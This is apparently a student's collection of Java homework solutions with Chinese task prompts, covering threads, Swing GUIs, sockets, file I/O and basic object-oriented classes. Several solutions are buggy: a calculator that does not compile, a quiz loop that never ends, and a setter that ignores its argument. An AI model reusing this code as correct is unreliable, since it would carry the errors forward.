package hw6;public class nine_2 extends Thread { String str; public nine_2(String str) { this.str=str; } public void run() { int i=0; if(this.str.equals("a")) { while(true) { i++; System.out.println(i); try { sleep(1000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } else { int j=0; while(true) { System.out.println((char)(97+j%26)); j++; try { sleep(3000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } } public static void main(String[] args) { nine_2 thread1=new nine_2("a"); nine_2 thread2=new nine_2("b"); thread1.start(); thread2.start(); }}
编写一个图形用户界面程序,窗体的宽度300,高度150,布局管理器为null,窗体上有二个标签和二个按钮,标签的位置为(10,30)和(200,60),按钮的位置为(50,100)和(150,100),它们的宽度和高度都是80和20。编写一个线程,该线程可以让标签向右或向左移动10次,每次移动10个单位,间隔1秒,通过按钮的动作事件启动上述线程,“向右走”按钮启动“向右移标签”,“向左走”按钮启动“向左移标签”,界面如下图所示。
package hw6;import java.awt.BorderLayout;import java.awt.EventQueue;import java.awt.Point;import javax.swing.JFrame;import javax.swing.JPanel;import javax.swing.border.EmptyBorder;import hw6.youyi.mythread;import javax.swing.JLabel;import javax.swing.JButton;import java.awt.event.ActionListener;import java.awt.event.ActionEvent;public class zuoyouyi extends JFrame { private JPanel contentPane; private JLabel lblNewLabel; private JLabel lblNewLabel_1; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { zuoyouyi frame = new zuoyouyi(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } class mythread extends Thread { String str; public mythread(String str) { this.str=str; } public void run() { if(this.str.equals("right")) { Point p=lblNewLabel.getLocation(); int i=1; while(i<=10) { p.x=p.x+10; lblNewLabel.setLocation(p); try { sleep(1000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } i++; } } if(this.str.equals("left")) { Point p=lblNewLabel_1.getLocation(); int i=1; while(i<=10) { p.x=p.x-10; lblNewLabel_1.setLocation(p); try { sleep(1000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } i++; } } } } /** * Create the frame. */ public zuoyouyi() { setTitle("\u5DE6\u53F3\u6587\u5B57\u79FB\u52A8"); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 450, 300); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); lblNewLabel = new JLabel("\u5411\u53F3\u79FB\u6807\u7B7E"); lblNewLabel.setBounds(42, 43, 76, 16); contentPane.add(lblNewLabel); lblNewLabel_1 = new JLabel("\u5411\u5DE6\u79FB\u6807\u7B7E"); lblNewLabel_1.setBounds(302, 99, 76, 16); contentPane.add(lblNewLabel_1); JButton btnNewButton = new JButton("\u5411\u53F3\u79FB"); btnNewButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { mythread thread1=new mythread("right"); thread1.start(); } }); btnNewButton.setBounds(69, 180, 103, 25); contentPane.add(btnNewButton); JButton btnNewButton_1 = new JButton("\u5411\u5DE6\u79FB"); btnNewButton_1.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { mythread thread2=new mythread("left"); thread2.start(); } }); btnNewButton_1.setBounds(247, 180, 103, 25); contentPane.add(btnNewButton_1); }}
小球向右下角移动。
package hw6;import java.awt.BorderLayout;import java.awt.EventQueue;import java.awt.Graphics;import java.awt.event.MouseAdapter;import java.awt.event.MouseEvent;import javax.swing.JFrame;import javax.swing.JPanel;import javax.swing.border.EmptyBorder;public class lizi extends JFrame { private JPanel contentPane; int i=0; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { lizi frame = new lizi(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } class mythread extends Thread{ public void run() { for( i=1;i<=5;i++) { repaint(); try { sleep(1000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } } public void paint(Graphics g) { super.paint(g); g.fillOval(50+i*10, 50+i*10, 100, 100); } /** * Create the frame. */ public lizi() { setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 450, 300); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); contentPane.setLayout(new BorderLayout(0, 0)); setContentPane(contentPane); this.addMouseListener(new MouseAdapter() { public void mouseClicked(MouseEvent e) { mythread thread1=new mythread(); thread1.start(); } }); }}
编程读取中国教育网主页html文档( URL:http://www.edu.cn ),显示该文档内容,并判断其中是否有字符串“中国教育和科研计算机网网络中心”。
package hw6;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.UnsupportedEncodingException;import java.net.MalformedURLException;import java.net.URL;public class shiyi_1 { public static void main(String[] args) { boolean flag=false; try { URL url=new URL("http://www.edu.cn"); InputStream is=null; try { is = url.openStream(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } InputStreamReader isr=null; try { isr = new InputStreamReader(is,"utf-8"); } catch (UnsupportedEncodingException e) { // TODO Auto-generated catch block e.printStackTrace(); } BufferedReader br = new BufferedReader(isr); try { String data=br.readLine(); while(data != null){ System.out.println(data); if(data.contains("中国教育和科研计算机网网络中心")) { flag=true; } data = br.readLine(); } br.close(); isr.close(); is.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } catch (MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } if(flag==true) { System.out.println("含有"); } else { System.out.println("不含有"); } }}
编写一个基于TCP的Socket程序,服务器向客户端发送一个字符串:”Socket你好!”,客户端将接收到的字符串输出到屏幕。在一台PC上测试该程序。
编写一个基于TCP的Socket程序,服务器向客户端发送一个字符串:”Socket你好!”,客户端将接收到的字符串输出到屏幕。在两台PC之间测试该程序。(本题上机时两人一组,一个作为服务方,另一个作为客户方,然后两人之间进行对话)
编写一个Socket网络通讯应用程序,实现如下功能:
1)客户端能够发任意的信息给服务器端;
2)服务器端将收到的客户端信息返还给客户端。
把3个合在一起
服务器端:
package hw6;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.PrintStream;import java.net.ServerSocket;import java.net.Socket;public class sever { public static void main(String[] args) { try { // 构造服务器ServerSocket对象 ServerSocket ss = new ServerSocket(30102); System.out.println("服务器准备就绪!"); while(true){ Socket s = ss.accept(); // 线程 new ServerThread(s).start(); } } catch (IOException e) { e.printStackTrace(); } }}/** * 服务器端与客户端会话的线程 */class ServerThread extends Thread { private Socket s = null; private BufferedReader read = null; private PrintStream print = null; public ServerThread(Socket s) { this.s = s; try { read = new BufferedReader(new InputStreamReader(s.getInputStream())); print = new PrintStream(s.getOutputStream()); } catch (IOException e) { e.printStackTrace(); } } /** * 线程的运行run方法 */ public void run() { try { String message = null; while (!(message = read.readLine()).equals("exit")){ System.out.println("client发送:"+message); print.println("Socket你好!" + message); } } catch (IOException e) { } finally { try { if(!s.isClosed()){ s.close(); } } catch (IOException e1) { e1.printStackTrace(); } } }}
客户端:
package hw6;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.PrintStream;import java.net.Socket;import java.net.UnknownHostException;import java.util.Scanner;public class client { public static void main(String[] args) { try { // 构造与服务器通讯的Socket对象 Socket s = new Socket("127.0.0.1", 30102); // 启动一个线程与服务器通讯 new LinkThread(s).start(); } catch (UnknownHostException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } }}/** * 与服务器通讯的线程 */class LinkThread extends Thread { private Socket s = null; private PrintStream out = null; private BufferedReader in = null; private Scanner scanner = null; public LinkThread(Socket s) { this.s = s; try { out = new PrintStream(s.getOutputStream()); in = new BufferedReader(new InputStreamReader(s.getInputStream())); } catch (UnknownHostException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } /** * 线程的运行run方法 */ public void run() { scanner = new Scanner(System.in); System.out.println("提示:如果要结束本次会话,请输入“exit”指令!"); try { while(true){ System.out.print("请输入:"); String message = scanner.nextLine(); out.println(message); out.flush(); String str = in.readLine(); if(str != null){ System.out.println(str); }else{ System.out.println("本次会话结束!"); return; } } } catch (IOException e) { e.printStackTrace(); } finally { try { if(!s.isClosed()){ s.close(); } } catch (IOException e1) { e1.printStackTrace(); } } }}
]]>开发一个加、减、乘、除四则运算器。用户界面如下图:
package hw5;import java.awt.*;import java.awt.event.ActionListener;import javax.swing.*;import javax.swing.border.EmptyBorder;import javafx.event.ActionEvent;public class jsq extends JFrame { private JPanel contentPane; private JTextField textField; private JTextField textField_1; private JTextField textField_2; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { jsq frame = new jsq(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the frame. */ public jsq() { setFont(new Font("幼圆", Font.BOLD, 20)); setForeground(new Color(153, 50, 204)); setTitle("\u8BA1\u7B97\u5668"); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 450, 300); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); textField = new JTextField(); textField.setBounds(0, 0, 432, 56); contentPane.add(textField); textField.setColumns(10); textField_1 = new JTextField(); textField_1.setBounds(0, 67, 432, 56); contentPane.add(textField_1); textField_1.setColumns(10); JButton btnNewButton = new JButton("+"); btnNewButton.setFont(new Font("幼圆", Font.BOLD, 16)); btnNewButton.setForeground(new Color(50, 205, 50)); btnNewButton.addActionListener(new ActionListener() { @Override public void actionPerformed(java.awt.event.ActionEvent e) { // TODO Auto-generated method stub double x = Double.parseDouble(textField.getText()); double y = Double.parseDouble(textField_1.getText()); double z = x+y; if(z - (int)z <= 0.00001) textField_2.setText(Integer.toString((int)z)); else textField_2.setText(Double.toString(z)); } }); btnNewButton.setBounds(0, 122, 103, 54); contentPane.add(btnNewButton); JButton btnNewButton_1 = new JButton("-"); btnNewButton_1.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { } @Override public void actionPerformed(java.awt.event.ActionEvent e) { // TODO Auto-generated method stub double x = Double.parseDouble(textField.getText()); double y = Double.parseDouble(textField_1.getText()); double z = x-y; if(z - (int)z <= 0.00001) textField_2.setText(Integer.toString((int)z)); else textField_2.setText(Double.toString(z)); } }); btnNewButton_1.setFont(new Font("幼圆", Font.BOLD, 20)); btnNewButton_1.setForeground(new Color(255, 69, 0)); btnNewButton_1.setBounds(115, 122, 103, 54); contentPane.add(btnNewButton_1); JButton btnNewButton_2 = new JButton("*"); btnNewButton_2.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { } @Override public void actionPerformed(java.awt.event.ActionEvent e) { // TODO Auto-generated method stub double x = Double.parseDouble(textField.getText()); double y = Double.parseDouble(textField_1.getText()); double z = x*y; if(z - (int)z <= 0.00001) textField_2.setText(Integer.toString((int)z)); else textField_2.setText(Double.toString(z)); } }); btnNewButton_2.setFont(new Font("幼圆", Font.BOLD, 20)); btnNewButton_2.setForeground(new Color(255, 215, 0)); btnNewButton_2.setBounds(218, 122, 103, 54); contentPane.add(btnNewButton_2); JButton btnNewButton_3 = new JButton("/"); btnNewButton_3.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { } @Override public void actionPerformed(java.awt.event.ActionEvent e) { // TODO Auto-generated method stub double x = Double.parseDouble(textField.getText()); double y = Double.parseDouble(textField_1.getText()); double z = x/y; if(z - (int)z <= 0.00001) textField_2.setText(Integer.toString((int)z)); else textField_2.setText(Double.toString(z)); } }); btnNewButton_3.setFont(new Font("幼圆", Font.BOLD, 20)); btnNewButton_3.setForeground(new Color(0, 191, 255)); btnNewButton_3.setBounds(329, 122, 103, 54); contentPane.add(btnNewButton_3); textField_2 = new JTextField(); textField_2.setBounds(0, 187, 442, 58); contentPane.add(textField_2); textField_2.setColumns(10); }}
编写一个程序,实现文件内容拷贝,具体过程如下:
1) 建一文件myfile1.txt,写入内容“I am a student.”;
2) 打开文件myfile1.txt,读出内容放入字符数组中;
3) 再建一文件myfile2.txt,将字符数组中内容写入;
4) 打开文件myfile2.txt,读出内容输出到屏幕。
package hw5;import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.FileWriter;import java.io.IOException;public class shi_1 { public static void main(String[] args) { String str=null; String str1=null; String name_1="F:/myfile1.txt"; String name_2="F:/myfile2.txt"; FileWriter w1=null; try { w1=new FileWriter(name_1,true); w1.write("I am a student."); w1.close(); System.out.println("myfile1.txt写入成功"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } FileReader r1=null; BufferedReader br1=null; try { r1=new FileReader(name_1); br1=new BufferedReader(r1); try { str=br1.readLine(); //System.out.println(str); br1.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } FileWriter w2=null; BufferedWriter bw2=null; try { w2=new FileWriter(name_2,true); bw2=new BufferedWriter(w2); bw2.write(str); bw2.flush(); w2.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } FileReader r2=null; BufferedReader br2=null; try { r2=new FileReader(name_2); br2=new BufferedReader(r2); try { str1=br2.readLine(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println(str1); } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } }}
编写一个窗口程序,界面如下图,窗口FlowLayout布局,宽240,高200;文本框宽10,文本区大小为5行25列。
要求实现下列功能:
1) 点击“打开文件”,则弹出打开文件对话框,可从(D盘根目录)中选择一个字符文件,然后将选择的文件名称显示在文本框中;
2) 点击“显示文件内容”,则读出打开的文件的内容,并将读取的内容显示在文本区中;
package hw5;import java.awt.BorderLayout;import java.awt.EventQueue;import javax.swing.JFrame;import javax.swing.JLabel;import javax.swing.JPanel;import javax.swing.border.EmptyBorder;import javax.swing.JButton;import javax.swing.JTextField;import javax.swing.JTextArea;import javax.swing.JList;import javax.swing.JComboBox;import javax.swing.JFileChooser;import java.awt.Panel;import java.awt.ScrollPane;import java.awt.event.ActionListener;import java.io.BufferedReader;import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.awt.event.ActionEvent;public class wenjian extends JFrame { private JPanel contentPane; private JTextField textField; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { wenjian frame = new wenjian(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the frame. */ public wenjian() { setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 450, 300); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); JButton btnNewButton = new JButton("\u6253\u5F00\u6587\u4EF6"); btnNewButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { JFileChooser chooser = new JFileChooser(); chooser.setFileSelectionMode(JFileChooser.FILES_AND_DIRECTORIES); chooser.showDialog(new JLabel(), "选择"); File file = chooser.getSelectedFile(); textField.setText(file.getAbsoluteFile().toString()); } }); btnNewButton.setBounds(23, 11, 129, 42); contentPane.add(btnNewButton); textField = new JTextField(); textField.setBounds(199, 21, 198, 22); contentPane.add(textField); textField.setColumns(10); JTextArea textArea = new JTextArea(); textArea.setBounds(33, 68, 346, 112); contentPane.add(textArea); JButton btnNewButton_1 = new JButton("\u663E\u793A\u6587\u4EF6\u5185\u5BB9"); btnNewButton_1.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { try { FileReader fr=new FileReader(textField.getText()); BufferedReader br=new BufferedReader(fr); try { textArea.setText(br.readLine()); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } catch (FileNotFoundException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } }); btnNewButton_1.setBounds(124, 192, 167, 41); contentPane.add(btnNewButton_1); }}
]]>编写一个程序,其中设计一个矩阵类Matrix
Matrix类:
package hw4;public class Matrix { private int m,n; protected int[][]ma; public Matrix(int m,int n) { this.m = m; this.n = n; } public void setMa(int[][]ma) { this.ma = ma; } public Matrix cheng(Matrix a) { if(n != a.m) return null; Matrix ans= new Matrix(m,a.n); int ansm = m,ansn = a.n; int[][]ansa = new int[ansm][ansn]; for(int i = 0; i < ansm; i++) { for(int j = 0; j < ansn; j++) { for(int k = 0; k < n; k++) { ansa[i][j] += ma[i][k]*a.ma[k][j]; } } } ans.ma = ansa; return ans; } public void print() { for(int i = 0; i < m; i++) { for(int j = 0; j < n; j++) { System.out.print(ma[i][j]+" "); } System.out.println(); } }}
Main类:
package hw4;import java.util.*;public class main_matrix { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); System.out.println("请输入矩阵A的行列数:"); int am = scanner.nextInt(); int an = scanner.nextInt(); System.out.println("请输入矩阵A:"); Matrix matrixA = new Matrix(am, an); int[][]ma = new int[am][an]; for(int i = 0; i < am; i++) { for(int j = 0; j < an; j++) { ma[i][j] = scanner.nextInt(); } } matrixA.setMa(ma); System.out.println("请输入矩阵B的行列数:"); int bm = scanner.nextInt(); int bn = scanner.nextInt(); System.out.println("请输入矩阵B:"); Matrix matrixB = new Matrix(bm, bn); int[][]mb = new int[bm][bn]; for(int i = 0; i < bm; i++) { for(int j = 0; j < bn; j++) { mb[i][j] = scanner.nextInt(); } } matrixB.setMa(mb); //计算矩阵A乘矩阵B并打印结果 System.out.println("A*B的结果为:"); matrixA.cheng(matrixB).print(); scanner.close(); }}
设计一个程序,其中含有一个接口Shape(形状),其中有求形状的面积的方法area()。再定义三个实现接口的类:三角型类、矩形类和圆类。在主方法中创建Shape类型的一维数组,它有三个元素,放置三个对象,分别表示三角形、矩形和圆,然后利用循环输出三个图形的面积。
Shape接口:
package hw4;public interface shape { double area();}
Circle类:
package hw4;public class circle implements shape { final float pi=3.14f; float r; circle() { } circle(float r) { this.r=r; } public double area() { return pi*r*r; }}
Rectangle类:
package hw4;public class rectangle implements shape{ float w; float h; rectangle() { } rectangle(float w,float h) { this.w=w; this.h=h; } public double area() { return w*h; }}
Square类:
package hw4;import java.util.*;public class square implements shape{ float a,b,c; square() { } square(float a,float b,float c) { this.a=a; this.b=b; this.c=c; } public double area() { float p=(a+b+c)/2; return Math.sqrt(p*(p-a)*(p-b)*(p-c)); }}
主类:
package hw4;import java.util.*;public class main_shape { public static void main(String[] args) { Scanner s=new Scanner(System.in); shape shape[]=new shape[3]; int i; for(i=0;i<3;i++) { System.out.println("请选择输入的图形:1、圆形,2、矩形,3、三角形:"); int x=s.nextInt(); if(x==1) { System.out.println("请输入圆形的半径:"); shape[i]=new circle(s.nextFloat()); System.out.println("面积是:"+shape[i].area()); } else if(x==2) { System.out.println("请输入矩形宽和高:"); shape[i]=new rectangle(s.nextFloat(),s.nextFloat()); System.out.println("面积是:"+shape[i].area()); } else if(x==3) { System.out.println("请输入三角形a,b,c:"); shape[i]=new square(s.nextFloat(),s.nextFloat(),s.nextFloat()); System.out.println("面积是:"+shape[i].area()); } else { System.out.println("非法输入,程序退出"); break; } } }}
编一程序,在其中定义一个代表篮球队的类,它有放置队员姓名的向量并放入队员的姓名,再写两个方法:
1)在向量中查找某人。若找到则输出“找到此人!”,否则输出“查无此人!”。
2)删除队员。先查找该人,若找到则删除,否则输出“无此队员!”。
package hw4;public class basketball { String dy[]=new String[10]; basketball() { int i; for(i=0;i<10;i++) { dy[i]=null; } } public void insert(String name) { int i; for(i=0;i<10;i++) { if(dy[i]==null) { dy[i]=name; System.out.println("插入成功"); break; } } } public void delete(String name) { int i; for(i=0;i<10;i++) { if(dy[i].equals(name)) { dy[i]=null; System.out.println("删除成功"); break; } } if(i==10) { System.out.println("查无此人"); } } public void show() { int i; for(i=0;i<10;i++) { System.out.print(dy[i]+","); } }}
主类:
package hw4;import java.util.*;public class main_basket { public static void main(String[] args) { Scanner s=new Scanner(System.in); basketball b=new basketball(); while(true) { System.out.println("输入1插入,2删除,其它退出"); int x=s.nextInt(); if(x==1) { b.insert(s.nextLine()); b.show(); } else if(x==2) { b.delete(s.nextLine()); b.show(); } else { b.show(); System.out.println("程序已退出"); break; } } }}
设计一个继承Vector类的队列类Queue,实现队列的先进先出功能, 类中含有两个方法:入队inqueue和出队outqueue(要充分利用Vector类的方法)。在主方法中创建一个队列类对象,然后依次完成 “111” 入队、“222”入队、出队一元素(输出到屏幕)、“333”入队,最后出队所有元素并且输出到屏幕。
package hw4;import java.util.*;public class queue extends Vector{ public void inqueue(Object obj) { addElement(obj); } public Object outqueue() { Object b=firstElement(); removeElementAt(0); return b; } public static void main(String[] args) { queue q1=new queue(); q1.inqueue("111"); q1.inqueue("222"); Object bb=q1.outqueue(); System.out.println(bb); q1.inqueue("333"); bb=q1.outqueue(); System.out.println(bb); bb=q1.outqueue(); System.out.println(bb); }}
java.util包中有个类“Arrays”,它有个方法“sort(<数组名>)”,功能是将数组按升序排序。请编一程序,在其中创建一个数组,然后利用sort方法进行排序。
package hw2;import java.util.*;public class seven { public static void main(String[] args) { Scanner s=new Scanner(System.in); System.out.println("请输入10个数"); int a[]=new int[10]; int i; for(i=0;i<10;i++) { a[i]=s.nextInt(); } Arrays.sort(a); for(i=0;i<10;i++) { System.out.print(a[i]+"\t"); } }
编写一个让小朋友做十次加法的程序,要求程序中生成两个不大于50的随机正整数a和b,其中a由Math类的随机函数生成,b则利用机器当前时间的秒数和分数生成,在小朋友回答后要给出对错的判断。
package hw4;import java.time.LocalDateTime;import java.util.*;public class jisuanti { public static void main(String[] args) { int i=0; while(i<10) { Scanner s=new Scanner(System.in); LocalDateTime time=LocalDateTime.now(); int a=(int)(Math.random()*50); int b=(time.getMinute()+time.getSecond())%50; System.out.println(a+"+"+b+"="); if(s.nextInt()==(a+b)) { System.out.println("yes"); } else { System.out.println("no"); } } }}
]]>写一个动物园程序,可以向里面添加动物,并显示是第几个该类型的动物,并统计动物园里共有多少动物。
animal类:
package hw3;public class animal { static int sum=0; public animal() { } public void show() { System.out.println("动物园一共有"+sum+"只动物"); }}
dog类
package hw3;public class dog extends animal{ static int dog_sum=0; public dog() { } public void show() { super.sum++; dog_sum++; System.out.println("我是狗,是第"+dog_sum+"只狗"); super.show(); }}
cat类
package hw3;public class cat extends animal{ static int cat_sum=0; public cat() { } public void show() { super.sum++; cat_sum++; System.out.println("我是猫,是第"+cat_sum+"只猫"); super.show(); }}
pig类
package hw3;public class pig extends animal{ static int pig_sum=0; public pig() { } public void show() { super.sum++; pig_sum++; System.out.println("我是猪,是第"+pig_sum+"只猪"); super.show(); }}
主类
package hw3;import java.util.*;public class main_animal { public static void show_interface(animal sc) { sc.show(); } public static void main(String[] args) { Scanner s=new Scanner(System.in); animal an=new animal(); while(true) { System.out.println("请输入添加的动物类型(dog,cat,pig)(输入exit退出程序):"); String m=s.nextLine(); if(m.equals("exit")) { System.out.println("程序已退出"); break; } switch(m) { case("dog"): { an=new dog(); show_interface(an); break; } case("cat"): { an=new cat(); show_interface(an); break; } case("pig"): { an=new pig(); show_interface(an); break; } default: { System.out.println("非法字符,重新输入"); break; } } } }}
运行结果:
]]>编一程序,求两个正整数m、n的最大公约数。要求程序中有两个方法,分别使用循环和递归求最大公约数,最后在主方法中分别调用这两个方法求解56与91的最大公约数。
package hw3;public class one { public int cyc(int x,int y) { while(x%y!=0) { int s=x%y; x=y; y=s; } return y; } public int rec(int x,int y) { if(x%y==0) return y; else return rec(y,x%y); } public static void main(String[] args) { one o=new one(); int m,n; m=56; n=91; System.out.println(o.cyc(m,n)); System.out.println(o.rec(m,n)); }}
编写一个完整的Java Application程序,其中设计一个复数类Complex,利用它验证两个复数 1+2i 和3+4i 相加产生一个新的复数 4+6i 。复数类Complex的设计必须满足如下要求:
1)Complex 的属性有:
realPart:int型,代表复数的实数部分;
maginPart:int型,代表复数的虚数部分。
2)Complex 的方法有:
Complex():构造方法,将复数的实部和虚部都置0;
Complex(int r , int i ):构造方法,形参 r 为实部的初值,i为虚部的初值。
3)Complex complexAdd(Complex a):将当前复数对象与形参复数对象相加,最后的结果仍是一个复数对象,返回给此方法的调用者。
4)String toString(): 把当前复数对象的实部、虚部组合成 a+bi 的字符串形式,其中a 和 b分别为实部和虚部的数据。
package hw3;public class complex { int rp,mp; public complex() { rp=mp=0; } public complex(int i,int j) { rp=i; mp=j; } public complex complexadd(complex a) { this.rp=this.rp+a.rp; this.mp=this.mp+a.mp; return this; } public String toString() { String s=rp+"+"+mp+"i"; return s; } public static void main(String[] args) { complex c1=new complex(2,3); complex c2=new complex(4,5); c1.complexadd(c2); System.out.println(c1.toString()); }}
编写一个包含圆类的程序,并为圆类设计几个构造方法和一般方法,在主方法中创建一个圆类对象并输出它的周长和面积。
要求:
属性有3个:x,y,r,分别放置圆心坐标和半径;
构造方法有2个。一个是无参的,用于设置3个属性的值都为0;另一个有参的,用于设置3个属性的值,以确定一个具体的圆。
计算周长的方法:double zc();
计算面积的方法:double mj()。
package hw3;import java.util.*;public class yuan { double x,y,r; public yuan() { x=y=r=0.0; } public yuan(double x,double y,double r) { this.x=x; this.y=y; this.r=r; } public double zc() { return 2*Math.PI*this.r; } public double mj() { return Math.PI*Math.pow(this.r, 2); }}
编写一个程序,它含有一个圆类、圆柱类和主类。
要求:
1)圆类参考上一题中的圆类;
2)圆柱类:继承圆类,并加入一个属性h(高);
构造方法(给4个属性赋值);
计算面积的方法(double mj());
计算体积的方法(double tj())。
注意,要充分利用父类的方法。
3)主类:在主方法中创建圆和圆柱类的对象,然后计算并输出它们的面积及圆柱的体积。
yuanzhu类
package hw3;import java.util.*;public class yuanzhu extends yuan{ double h; public yuanzhu(double x,double y,double r,double h) { super(x,y,r); this.h=h; } public double mj() { return super.zc()*this.h+2*super.mj(); } public double tj() { return super.mj()*this.h; }}
main类
package hw3;public class main_yz { public static void main(String[] args) { yuan yuan1=new yuan(2,3,2); yuanzhu yuanzhu1=new yuanzhu(4,5,6,2); System.out.println("圆的面积是:"+yuan1.mj()); System.out.println("圆柱的面积是:"+yuanzhu1.mj()); System.out.println("圆柱的体积是:"+yuanzhu1.tj()); }}
编写一个含有5个类的程序:
类Person:
属性:编号、姓名、性别;
构造方法:确定编号和姓名;
一般方法:修改编号、姓名,获取编号、姓名。
类Teacher:继承类Person并增加:
属性:系别;
构造方法:调用父类的构造方法;
一般方法:修改、获取系别。
类Student:继承类Person并增加:
属性:班级;
构造方法:调用父类的构造方法;
一般方法:修改、获取班级属性值。
类Classes:
属性:班级名称,学生名单(Student类对象的数组);
构造方法:确定班级名称;
一般方法:建立学生名单,输出学生名单。
类Main:
主类。主方法中创建一个班级,然后建立该班级的学生名单,最后
输出学生名单。
person类
package hw3;public class person { int id; String name,gender; public person() { } public person(int id,String name) { this.id=id; this.name=name; } public void revise_id(int id) { this.id=id; } public void revise_name(String name) { this.name=name; } public int get_id() { return this.id; } public String get_name() { return this.name; }}
teacher类
package hw3;public class teacher extends person { String faculty; public teacher() { } public teacher(int id,String name,String faculty) { super(id,name); this.faculty=faculty; } public void revise_facilty(String Faculty) { this.faculty=faculty; } public String get_faculty() { return this.faculty; }}
student类
package hw3;public class student extends person { String class_number; public student(int id,String name,String class_number) { super(id,name); this.class_number=class_number; } public void revise_class_number(String class_number) { this.class_number=class_number; } public String get_class_number() { return this.class_number; }}
classes类
package hw3;public class classes { String class_name; student student_list[]; int student_number; teacher teacher; public classes(String class_name,teacher tec) { this.class_name=class_name; this.teacher=tec; } public void set_student_list(student student_list[],int student_number) { this.student_list=student_list; this.student_number=student_number; } public void print_student_list() { System.out.println("班级名称是:"+"\t"+this.class_name); System.out.println("任课教师是:"+"\t"+this.teacher.name); System.out.println("学生名单如下:"); int i; for(i=0;i<this.student_number;i++) { System.out.println("\t"+"姓名:"+"\t"+this.student_list[i].name+"\t"+"学号:"+"\t"+this.student_list[i].id); } }}
main类
package hw3;import java.util.*;public class main_class { public static void main(String[] args) { Scanner s=new Scanner(System.in); System.out.println("请输入班级名称:"); String cn=s.nextLine(); System.out.println("请输入任课老师姓名和院系"); teacher tec=new teacher(); tec.revise_name(s.nextLine()); tec.revise_facilty(s.nextLine()); classes banji=new classes(cn,tec); System.out.println("请输入学生人数:"); int n; n=s.nextInt(); student stu[]=new student[n]; int i; System.out.println("请输入学生学号和姓名:"); for(i=0;i<n;i++) { stu[i]=new student(s.nextInt(),s.nextLine(),cn); } banji.set_student_list(stu, n); banji.print_student_list(); }}
]]>打印一个三角形的1~9的乘法表。
package hw2;public class chenfa { public static void main(String[] args) { System.out.print("*"+"\t"); int i; for(i = 1;i <= 9;i++) { System.out.print(i+"\t"); } System.out.println(); int x,y; for(x = 1;x <= 9;x++) { System.out.print(x+"\t"); for(y = 1;y <= x; y++) { System.out.print(x*y+"\t"); } System.out.println(); } }}
编写一程序,将从键盘输入的每个月份数(整数)显示出其对应的英文,直至输入0结束,注意对非法数据的处理。 (while,switch语句)
package hw2;import java.util.*;public class two { public static void main(String[] args) { Scanner s=new Scanner(System.in); System.out.println("请输入月份"); int m; while(true) { m=s.nextInt(); if(m==0) { System.out.println("输入结束"); break; } switch(m) { case 1:System.out.println("January");break; case 2:System.out.println("February");break; case 3:System.out.println("March");break; case 4:System.out.println("April");break; case 5:System.out.println("May");break; case 6:System.out.println("June");break; case 7:System.out.println("July");break; case 8:System.out.println("August");break; case 9:System.out.println("September");break; case 10:System.out.println("October");break; case 11:System.out.println("November");break; case 12:System.out.println("December");break; default:System.out.println("非法字符");break; } } }}
打印图案:一个由n行星花组成的三角形。如n=5时的图案为:
